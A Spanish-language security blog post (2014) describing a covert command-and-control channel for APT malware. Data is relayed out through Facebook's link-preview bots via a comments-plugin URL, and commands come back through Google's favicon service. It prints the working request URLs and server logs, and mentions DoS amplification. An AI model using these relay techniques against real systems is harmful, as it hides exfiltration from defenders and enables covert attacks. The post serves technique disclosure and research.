Dentro del mundo de las amenazas avanzadas persistentes o APTs, juegan un papel muy importante las técnicas utilizadas por los artefactos malware, para comunicarse y exfiltrar información a través de los C2s (Command & Control). En este aspecto existen tantas formas como imaginación pueda aportar el atacante y como protocolos y servicios existan. Un pequeño ejemplo de los “trucos” para enmascarar el tráfico ilegítimo como información aparentemente normal son:
- Peticiones HTTP a páginas aparentemente lícitas, las cuales han sido crackeadas, albergando código del C2.
- Sobreutilización del protocolo DNS para exfiltrar y comunicarse con los atacantes.
- Sobreutilización de Google Calendar.
La lista anterior puede ser tan larga casi como campañas APT han existido y existen. En este post me gustaría aportar una nueva forma de exfiltración en la cual el equipo infectado y el C2 en ningún momento intercambian información directamente, sino que lo hacen a través de la legión de bots que los grandes gigantes de Internet disponen. Estos son Google, Facebook o Twitter entre otros.
¿Para qué sirven o qué función tienen estos bots? En el caso de Facebook, esta compañía dispone de una serie de agentes utilizados para realizar una previsualización del contenido de un enlace cuando se postea un comentario en esta red social. De esta manera, es posible presentar al usuario de una forma más amigable el contenido Web enlazado. Así, cuando el enlace es recibido por Facebook éste “ordena” a sus bots que visiten dicha URL extrayendo información de la web asociada.
El lector ya se habrá dado cuenta que controlando la URL a la cual queremos que los bots se conecten, disponemos de una forma de remitir información a un dominio propiedad del atacante, redirigiendo la petición a través de Facebook. De esta manera, ya tenemos el primer canal de comunicación “Equipo infectado” -> “C2”. Esta petición pasará totalmente desapercibida para los posibles analistas de seguridad del organismo víctima, ya que realmente son peticiones realizadas contra la red social.
El primer impedimento encontrado para ejecutar la redirección fue que necesitaba tener una cuenta de Facebook válida y estar autenticado para poder postear. Revisando un poco más a fondo por la documentación del “Caralibro” encontré la solución para poder postear sin estar autenticado. Esa magia la aportó la sección de “Developers”. A continuación, os dejo la petición GET para controlar los bots de Facebook a vuestro antojo, visitando todo aquello que vosotros les remitáis.
https://www.facebook.com/plugins/comments.php
?api_key=113869198637480
&channel_url=http://static.ak.fbcdn.net/connect/xd_proxy.php?version=3#cb=f10df33f48&
origin=http://developers.facebook.com/f29957fd8&relation=parent.parent&transport=postmessage
&href=DOMINIO A VISITAR
&locale=en_US
&numposts=2
&sdk=joey
&width=500
Un avispado ya se habrá dado cuenta que esto no sólo puede ser utilizado para exfiltrar información sino para por ejemplo realizar ataques de DoS encubiertos o aumentar contadores de visitas. Como ejemplo, os dejo el log de mi apache, tras decirle a Facebook que visite mi web.
66.220.152.118 - - [30/Oct/2014:11:44:23 +0100] "GET /kaka333333339 HTTP/1.1" 404 508 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.116 - - [30/Oct/2014:11:45:16 +0100] "GET / HTTP/1.1" 206 3008 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_3.jpg HTTP/1.1" 206 1227 "http://miserver.no-ip.org/" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-09.jpg HTTP/1.1" 206 654 "http://miserver.no-ip.org/" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/spotlight.jpg HTTP/1.1" 206 2582 "http://miserver.no-ip.org/" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_4.jpg HTTP/1.1" 206 1356 "http://miserver.no-ip.org/" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/welcome-18.jpg HTTP/1.1" 206 8889 "http://miserver.no-ip.org/" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/welcome.jpg HTTP/1.1" 206 3987 "http://miserver.no-ip.org/" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.112 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-11.jpg HTTP/1.1" 206 654 "http://miserver.no-ip.org/" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.117 - - [30/Oct/2014:11:45:17 +0100] "GET /images/services.jpg HTTP/1.1" 206 2794 "http://miserver.no-ip.org/" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.118 - - [30/Oct/2014:11:44:23 +0100] "GET /kaka333333339 HTTP/1.1" 404 508 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.116 - - [30/Oct/2014:11:45:16 +0100] "GET / HTTP/1.1" 206 3008 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_3.jpg HTTP/1.1" 206 1227 "http://miserver.no-ip.org/" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-09.jpg HTTP/1.1" 206 654 "http://miserver.no-ip.org/" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
La verdad es que se puede conseguir una buena amplificación, ya que una sola petición a Facebook generó 43 GETs de 10 bots distintos a la web destino. Pero no quiero desviarme del tema, que estamos a APTs.
Ahora que tenemos la forma de exfiltrar necesitamos poder remitir comandos de control a los equipos infectados en la organización víctima. Para esta parte nos van a ayudar los bots de Google, los cuales también podemos controlar para que no sólo visiten lo que nosotros queramos sino que además le remitan por nosotros a los equipos infectados las ordenes a realizar.
Normalmente cuando un C2 quiere ejecutar un comando en la víctima la comunicación no se hace en el sentido C2 -> “equipo infectado” sino al revés, siendo el portador del malware el que inicia comunicación.
Pues bien, Google dispone de una url por la que, dado un dominio, ésta te devuelve el favicon del mismo, lo que resulta perfecto para remitir en el mismo las órdenes a ejecutar en el equipo infectado.
http://www.google.com/s2/favicons?domain=DOMINIO-A-VISITAR
Una vez ejecutada, podemos ver en el log del C2 la siguiente petición realizada por el bot:
66.249.93.181 - - [31/Oct/2014:13:36:22 +0100] "GET / HTTP/1.1" 200 2961 "-" "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon" 66.249.93.178 - - [31/Oct/2014:13:36:23 +0100] "GET /favicon.ico HTTP/1.1" 200 1703 "-" "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon"
En este favicon podemos, por ejemplo con técnicas estenográficas, incluir la información de control remitida al equipo infectado. Así pues, tenemos establecida una comunicación bidireccional con los C2 sin establecer en ningún momento un canal directo entre equipos infectados y equipos de mando y control, perfecto para pasar desapercibidos.